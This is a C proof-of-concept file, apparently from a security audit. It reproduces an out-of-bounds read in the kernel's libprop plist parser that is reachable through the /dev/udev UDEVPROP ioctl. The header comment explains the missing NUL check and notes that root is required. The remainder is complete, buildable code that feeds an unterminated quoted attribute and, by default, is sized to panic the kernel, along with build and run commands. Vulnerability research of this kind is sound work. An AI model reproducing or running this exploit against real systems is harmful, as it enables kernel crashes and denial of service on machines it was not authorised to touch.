DF-2227 / oob_read_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-2227 — privileged reproducer for the unbounded * while (*cp != '"') cp++; * scan in _prop_object_internalize_find_tag (sys/libprop/prop_object.c:484-485). * * REACHABILITY (from DF-2231): ALL four kernel callers of * prop_dictionary_copyin_ioctl() are privileged on default GENERIC: * /dev/udev UDEVPROP root:wheel 0600 (base kernel, used here) * vquotactl gated by vfs_quota_enabled (default 0) * NETBSD_DM_IOCTL dm module not loaded * TBRIDGE_LOADTEST module not loaded * => NO unprivileged trigger. This PoC runs as root only to exercise the path. * root->kernel is game-over by definition; this is a privileged DoS / * hardening gap, NOT an unpriv->root privesc. * * MECHANISM: * prop_kern.c:398 buf = kmalloc(pref_len + 1, ...) * prop_kern.c:399 copyin(user, buf, pref_len) * prop_kern.c:404 buf[pref_len] = '\0' <-- NUL sentinel at the END * prop_object.c:484 while (*cp != '"') cp++; <-- NO NUL check in body! * * Input "<plist version=\"X..." with pref_len == strlen and NO closing quote: * parser advances cp to the byte right after the opening '"' (prop_object.c:479) * prop_object.c:480 only checks _PROP_EOF of the FIRST post-quote byte * prop_object.c:484 loop: *cp='X'!=0x22 -> cp++; ... *cp='\0'!=0x22 -> cp++ * => OOB READ past the NUL sentinel at buf[pref_len]. * * Two manifestations: * (a) PANIC: the scan walks past the kmalloc buffer into an unmapped page. * Most reliably triggered with a LARGE pref_len so the allocation goes to * the kmem/page allocator (>~16KB ZoneLimit); the byte right after * buf[pref_len] sits at a page boundary that is typically unmapped * (kmem allocations are virtually separated). This PoC defaults to * the large-buffer mode (argv[1] = byte count, default 60000). * (b) SILENT OOB read: with a SMALL buffer (slab bucket), the scan usually * finds a 0x22 byte in adjacent slab memory first, parse fails -> EIO, * no panic. The OOB read still occurred. Use argv[1]=17 for this mode. * * Build: cc -O2 -o oob_read_poc oob_read_poc.c * Run: ./oob_read_poc [pref_len] (default 60000 -> panic; 17 -> silent EIO) */ #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/udev.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <libprop/plistref.h> int main(int argc, char **argv) { size_t pref_len = 60000; /* default: large -> kmem -> panic */ if (argc > 1) pref_len = (size_t)strtoull(argv[1], NULL, 0); /* * The XML payload: open a "version" attribute value with a double quote, * fill the rest with 'A' (0x41, never 0x22), and OMIT the closing quote * and the '>'. pref_len bytes total, user-mapped so copyin() runs to the * end and the prop_kern.c:404 NUL sentinel is the SOLE terminator. */ const char prefix[] = "<plist version=\""; size_t prefix_len = sizeof(prefix) - 1; /* 16 */ if (pref_len < prefix_len + 1) { fprintf(stderr, "pref_len %zu too small (need >= %zu)\n", pref_len, prefix_len + 1); return 2; } /* mmap a region big enough; fill prefix + 'A' padding, no closing quote. */ long ps = sysconf(_SC_PAGESIZE); size_t pagemask = (size_t)(ps - 1); size_t maplen = (pref_len + pagemask) & ~pagemask; char *xml = mmap(NULL, maplen, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (xml == MAP_FAILED) { perror("mmap"); return 2; } memcpy(xml, prefix, prefix_len); memset(xml + prefix_len, 'A', pref_len - prefix_len); /* No closing quote, no '>'. The byte at xml[pref_len] is whatever mmap * gave us (zero from MAP_ANON) -- doesn't matter, the kernel overwrites * buf[pref_len] with its own NUL at prop_kern.c:404. */ struct plistref pref; int fd = open("/dev/udev", O_RDWR); if (fd < 0) { perror("open /dev/udev"); return 2; } pref.pref_plist = xml; pref.pref_len = pref_len; printf("[*] UDEVPROP pref_len=%zu maplen=%zu xml[0..15]=\"<plist version=\\\"\"\n", pref_len, maplen); printf("[*] kmalloc(%zu): %s\n", pref_len + 1, pref_len >= 16384 ? "kmem/page alloc -> next byte likely unmapped -> PANIC" : "slab bucket -> scan usually finds 0x22 -> silent EIO"); printf("[*] if the bug is live, kernel scans past buf[pref_len]...\n"); fflush(stdout); int rc = ioctl(fd, UDEVPROP, &pref); /* On a vulnerable kernel with a large pref_len we do NOT expect to reach * here (panic). If we do, the scan found 0x22 in adjacent memory first. */ printf("[!] ioctl rc=%d errno=%d (%s) -- no panic (OOB read still occurred)\n", rc, errno, strerror(errno)); close(fd); return 0; } |